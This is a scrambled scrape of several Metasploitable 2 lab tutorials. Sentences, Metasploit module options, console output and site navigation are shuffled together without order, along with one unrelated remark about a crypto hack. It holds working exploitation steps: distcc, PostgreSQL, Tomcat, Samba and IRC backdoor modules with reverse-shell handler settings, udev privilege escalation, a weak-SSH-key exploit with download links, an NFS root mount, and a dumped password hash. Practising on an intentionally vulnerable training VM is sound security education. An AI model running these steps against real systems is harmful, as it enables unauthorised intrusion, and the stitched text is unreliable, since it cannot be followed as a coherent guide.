RETURN_ROWSET true no Set to true to see query result sets SQLi and XSS on the log are possibleGET for POST is possible because only reading POSTed variables is not enforced. Once you open the Metasploit console, you will get to see the following screen. [*] Accepted the first client connection Both operating systems will be running as VM's within VirtualBox. A Reset DB button in case the application gets damaged during attacks and the database needs reinitializing. This VM can be used to conduct security training, test security tools, and practice common penetration testing techniques. RHOSTS => 192.168.127.154 I've done exploits from kali linux on metasploitable 2, and i want to fix the vulnerabilities i'm exploiting, but all i can find as a solution to these vulnerabilities is using firewalls or filtering ports. ================ ---- --------------- -------- ----------- LPORT 4444 yes The listen port We performed a Nessus scan against the target, and a critical vulnerability on this port ispresent: rsh Unauthenticated Access (via finger Information). Metasploitable is a Linux virtual machine that is intentionally vulnerable. METASPLOIT On-Prem Vulnerability Management NEXPOSE Digital Forensics and Incident Response (DFIR) Velociraptor Cloud Risk Complete Cloud Security with Unlimited Vulnerability Management Explore Offer Managed Threat Complete MDR with Unlimited Risk Coverage Explore offer Services MANAGED SERVICES Detection and Response It is a low privilege shell; however, we can progress to root through the udev exploit,as demonstrated later. RHOST => 192.168.127.154 You can do so by following the path: Applications Exploitation Tools Metasploit. SSLCert no Path to a custom SSL certificate (default is randomly generated) ---- --------------- -------- ----------- Use the showmount Command to see the export list of the NFS server. To transfer commands and data between processes, DRb uses remote method invocation (RMI). [*] Sending backdoor command High-end tools like Metasploit and Nmap can be used to test this application by security enthusiasts. ---- --------------- ---- ----------- msf 5> db_nmap -sV -p 80,22,110,25 192.168.94.134. This will be the address you'll use for testing purposes. This Command demonstrates the mount information for the NFS server. This document outlines many of the security flaws in the Metasploitable 2 image. SESSION => 1 [*] Reading from sockets In the video the Metasploitable-2 host is running at 192.168.56.102 and the Backtrack 5-R2 host at 192.168.56.1.3. Set Version: Ubuntu, and to continue, click the Next button. Before running it, you need to download the pre-calculated vulnerable keys from the following links: http://www.exploit-db.com/sploits/debian_ssh_rsa_2048_x86.tar.bz2 (RSA keys), http://www.exploit-db.com/sploits/debian_ssh_dsa_1024_x86.tar.bz2 (DSA keys), ruby ./5632.rb 192.168.127.154 root ~/rsa/2048/. Type help; or \h for help. Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit.This set of articles discusses the RED TEAM's tools and routes of attack. Name Current Setting Required Description RHOST yes The target address Same as login.php. Matching Modules We dont really want to deprive you of practicing new skills. From the shell, run the ifconfig command to identify the IP address. Meterpreter sessions will autodetect Alternatively, you can also use VMWare Workstation or VMWare Server. RHOST yes The target address RHOST yes The target address PASSWORD => postgres Metasploitable 2 is a vulnerable system that I chose to use, as using any other system to do this on would be considering hacking and have could have bad consequences. msf auxiliary(telnet_version) > run Browsing to http://192.168.56.101/ shows the web application home page. USERNAME => tomcat We can read the passwords now and all the rest: root:$1$/avpfBJ1$x0z8w5UF9Iv./DR9E9Lid. The VNC service provides remote desktop access using the password password. When we try to netcatto a port, we will see this: (UNKNOWN) [192.168.127.154] 514 (shell) open. Id Name whoami ---- --------------- -------- ----------- Need to report an Escalation or a Breach? Metasploitable is a virtual machine with baked-in vulnerabilities, designed to teach Metasploit. Were 64 bit Kali, the target is 32 bit, so we compile it specifically for 32 bit: From the victim, we go to the /tmp/ directory and take the exploit from the attacking machine: Confirm that this is the right PID by looking at the udev service: It seems that it is the right one (2768-1 = 2767). :14747:0:99999:7::: The Nessus scan that we ran against the target demonstrated the following: It is possible to access a remote database server without a password. So all we have to do is use the remote shell program to log in: Last login: Wed May 7 11:00:37 EDT 2021 from :0.0 on pts/0, Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686. For your test environment, you need a Metasploit instance that can access a vulnerable target. [+] 192.168.127.154:5432 Postgres - Logged in to 'template1' with 'postgres':'postgres' So, lets set it up: mkdir /metafs # this will be the mount point, mount -t nfs 192.168.127.154:/ /metafs -o nolock # mount the remote shared directory as nfs and disable file locking. The Mutillidae web application (NOWASP (Mutillidae)) contains all of the vulnerabilities from the OWASP Top Ten plus a number of other vulnerabilities such as HTML-5 web storage, forms caching, and click-jacking. The compressed file is about 800 MB and can take a while to download over a slow connection. Step 2: Vulnerability Assessment. RHOST => 192.168.127.154 Additionally three levels of hints are provided ranging from "Level 0 - I try harder" (no hints) to "Level 2 - noob" (Maximum hints). Name Current Setting Required Description msf exploit(distcc_exec) > set LHOST 192.168.127.159 We can escalate our privileges using the earlier udev exploit, so were not going to go over it again. Server version: 5.0.51a-3ubuntu5 (Ubuntu). Module options (exploit/linux/postgres/postgres_payload): Exploit target: [*] Writing to socket B Id Name [*] Trying to mount writeable share 'tmp' [*] Trying to link 'rootfs' to the root filesystem [*] Now access the following share to browse the root filesystem: msf auxiliary(samba_symlink_traversal) > exit, root@ubuntu:~# smbclient //192.168.99.131/tmp, getting file \rootfs\etc\passwd of size 1624 as /tmp/smbmore.ufiyQf (317.2 KiloBytes/sec) (average 317.2 KiloBytes/sec). Vulnerability assessment tools or scanners are used to identify vulnerabilities within the network. Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by. TIMEOUT 30 yes Timeout for the Telnet probe The exploit executes /tmp/run, so throw in any payload that you want. -- ---- This is about as easy as it gets. Module options (exploit/multi/misc/java_rmi_server): Nessus, OpenVAS and Nexpose VS Metasploitable. This VM could be used to perform security training, evaluate security methods, and practice standard techniques for penetration testing. XSS via logged in user name and signatureThe Setup/reset the DB menu item can be enabled by setting the uid value of the cookie to 1, DOM injection on the add-key error message because the key entered is output into the error message without being encoded, You can XSS the hints-enabled output in the menu because it takes input from the hints-enabled cookie value.You can SQL injection the UID cookie value because it is used to do a lookupYou can change your rank to admin by altering the UID valueHTTP Response Splitting via the logged in user name because it is used to create an HTTP HeaderThis page is responsible for cache-control but fails to do soThis page allows the X-Powered-By HTTP headerHTML commentsThere are secret pages that if browsed to will redirect user to the phpinfo.php page. SRVPORT 8080 yes The local port to listen on. Accessing it is easy: In addition to the malicious backdoors in the previous section, some services are almost backdoors by their very nature. [+] Backdoor service has been spawned, handling msf exploit(tomcat_mgr_deploy) > set RPORT 8180 This can be done via brute forcing, SQL injection and XSS via referer HTTP headerSQL injection and XSS via user-agent string, Authentication bypass SQL injection via the username field and password fieldSQL injection via the username field and password fieldXSS via username fieldJavaScript validation bypass, This page gives away the PHP server configurationApplication path disclosurePlatform path disclosure, Creates cookies but does not make them HTML only. [*] Using URL: msf > use exploit/unix/misc/distcc_exec RHOST => 192.168.127.154 This document will continue to expand over time as many of the less obvious flaws with this platform are detailed. [*] Started reverse double handler Metasploit Pro offers automated exploits and manual exploits. Rapid7 Metasploit Pro installers prior to version 4.13.0-2017022101 contain a DLL preloading vulnerability, wherein it is possible for the installer to load a malicious DLL located in the current working directory of the installer. The Metasploit Framework from Rapid7 is one of the best-known frameworks in the area of vulnerability analysis, and is used by many Red Teams and penetration testers worldwide. First, whats Metasploit? In the next tutorial we'll use metasploit to scan and detect vulnerabilities on this metasploitable VM. RHOST yes The target address VHOST no HTTP server virtual host -- ---- Much less subtle is the old standby "ingreslock" backdoor that is listening on port 1524. When running as a CGI, PHP up to version 5.3.12 and 5.4.2 is vulnerable to an argument injection vulnerability. VHOST no HTTP server virtual host STOP_ON_SUCCESS => true Here is a brief outline of the environment being used: First we need to list what services are visible on the target: This shows that NFS (Network File System) uses port 2049 so next lets determine what shares are being exported: The showmount command tells us that the root / of the file system is being shared. We did an aggressive full port scan against the target. LHOST => 192.168.127.159 Exploiting Samba Vulnerability on Metasploit 2 The screenshot below shows the results of running an Nmap scan on Metasploitable 2. In this article, we'll look at how this framework within Kali Linux can be used to attack a Windows 10 machine. It is intended to be used as a target for testing exploits with metasploit. If so please share your comments below. Exploit target: Upon a hit, Youre going to see something like: After you find the key, you can use this to log in via ssh: as root. Application Security AppSpider Test your web applications with our on-premises Dynamic Application Security Testing (DAST) solution. The ++ signifies that all computers should be treated as friendlies and be allowed to . More investigation would be needed to resolve it. First of all, open the Metasploit console in Kali. [*] Command: echo f8rjvIDZRdKBtu0F; [*] 192.168.127.154:5432 - PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc (GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4) now i just started learning about penetration testing, unfortunately now i am facing a problem, i just installed GVM / OpenVas version 21.4.1 on a vm with kali linux 2020.4 installed, and in the other vm i have metasploitable2 installed both vm network are set with bridged, so they can ping each other because they are on the same network. This tutorial shows how to install it in Ubuntu Linux, how it works, and what you can do with this powerful security auditing tool. Nessus is a well-known and popular vulnerability scanner that is free for personal, non-commercial use that was first released in 1998 by Renaurd Deraison and currently published by Tenable Network Security.There is also a spin-off project of Nessus 2, named OpenVAS, that is published under the GPL.Using a large number of vulnerability checks, called plugins in Nessus, you can . The first of which installed on Metasploitable2 is distccd. Name Disclosure Date Rank Description So we got a low-privilege account. This version contains a backdoor that went unnoticed for months - triggered by sending the letters "AB" following by a system command to the server on any listening port. Metasploit has a module to exploit this in order to gain an interactive shell, as shown below. whoami It is also instrumental in Intrusion Detection System signature development. A reinstall of Metasploit was next attempted: Following the reinstall the exploit was run against with the same settings: This seemed to be a partial success a Command Shell session was generated and able to be invoked via the sessions 1 command. [*] Reading from socket B TOMCAT_USER no The username to authenticate as We will now exploit the argument injection vulnerability of PHP 2.4.2 using Metasploit. Loading of any arbitrary web page on the Interet or locally including the sites password files.Phishing, SQL injection to dump all usernames and passwords via the username field or the password fieldXSS via any of the displayed fields. Long list the files with attributes in the local folder. Individual web applications may additionally be accessed by appending the application directory name onto http:// to create URL http:////. Metasploitable is an intentionally vulnerable Linux virtual machine that can be used to conduct security training, test security tools, and practice common penetration testing techniques. msf exploit(postgres_payload) > use exploit/linux/local/udev_netlink DVWA is PHP-based using a MySQL database and is accessible using admin/password as login credentials. Highlighted in red underline is the version of Metasploit. 5.port 1524 (Ingres database backdoor ) Thus, this list should contain all Metasploit exploits that can be used against Linux based systems. Module options (auxiliary/admin/http/tomcat_administration): PASSWORD no A specific password to authenticate with RHOST => 192.168.127.154 To build a new virtual machine, open VirtualBox and click the New button. msf exploit(unreal_ircd_3281_backdoor) > show options whoami USERNAME postgres no A specific username to authenticate as NFS can be identified by probing port 2049 directly or asking the portmapper for a list of services. [*] Writing to socket B BRUTEFORCE_SPEED 5 yes How fast to bruteforce, from 0 to 5 It aids the penetration testers in choosing and configuring of exploits. Note: Metasploitable comes with an early version of Mutillidae (v2.1.19) and reflects a rather out dated OWASP Top 10. Metasploitable is installed, msfadmin is user and password. Name Current Setting Required Description For instance, to use native Windows payloads, you need to pick the Windows target. On metasploitable there were over 60 vulnerabilities, consisting of similar ones to the windows target. [*] Transmitting intermediate stager for over-sized stage(100 bytes) [*] B: "7Kx3j4QvoI7LOU5z\r\n" RHOSTS yes The target address range or CIDR identifier ---- --------------- -------- ----------- RHOSTS => 192.168.127.154 Step 9: Display all the columns fields in the . Metasploitable 2 is designed to be vulnerable in order to work as a sandbox to learn security. The SwapX project on BNB Chain suffered a hacking attack on February 27, 2023. Digital Forensics and Incident Response (DFIR), Cloud Security with Unlimited Vulnerability Management, 24/7 MONITORING & REMEDIATION FROM MDR EXPERTS, SCAN MANAGEMENT & VULNERABILITY VALIDATION, PLAN, BUILD, & PRIORITIZE SECURITY INITIATIVES, SECURE EVERYTHING CONNECTED TO A CONNECTED WORLD, THE LATEST INDUSTRY NEWS AND SECURITY EXPERTISE, PLUGINS, INTEGRATIONS & DEVELOPER COMMUNITY, UPCOMING OPPORTUNITIES TO CONNECT WITH US. I hope this tutorial helped to install metasploitable 2 in an easy way. Starting Nmap 6.46 (, msf > search vsftpd [*] Accepted the first client connection Additionally, an ill-advised PHP information disclosure page can be found at http:///phpinfo.php. Name Current Setting Required Description RHOST yes The target address 0 Automatic [*] A is input The login for Metasploitable 2 is msfadmin:msfadmin. VM version = Metasploitable 2, Ubuntu 64-bit Kernel release = 2.6.24-16-server IP address = 10.0.2.4 Login = msfadmin/msfadmin NFS Service vulnerability First we need to list what services are visible on the target: Performing a port scan to discover the available services using the Network Mapper 'nmap'. Return to the VirtualBox Wizard now. msf auxiliary(smb_version) > show options RPORT 3632 yes The target port ---- --------------- -------- ----------- VERBOSE true yes Whether to print output for all attempts DATABASE template1 yes The database to authenticate against This virtual machine (VM) is compatible with VMWare, VirtualBox, and other common virtualization platforms. -- ---- Next we can mount the Metasploitable file system so that it is accessible from within Kali: This is an example of a configuration problem that allows a lot of valuable information to be disclosed to potential attackers. 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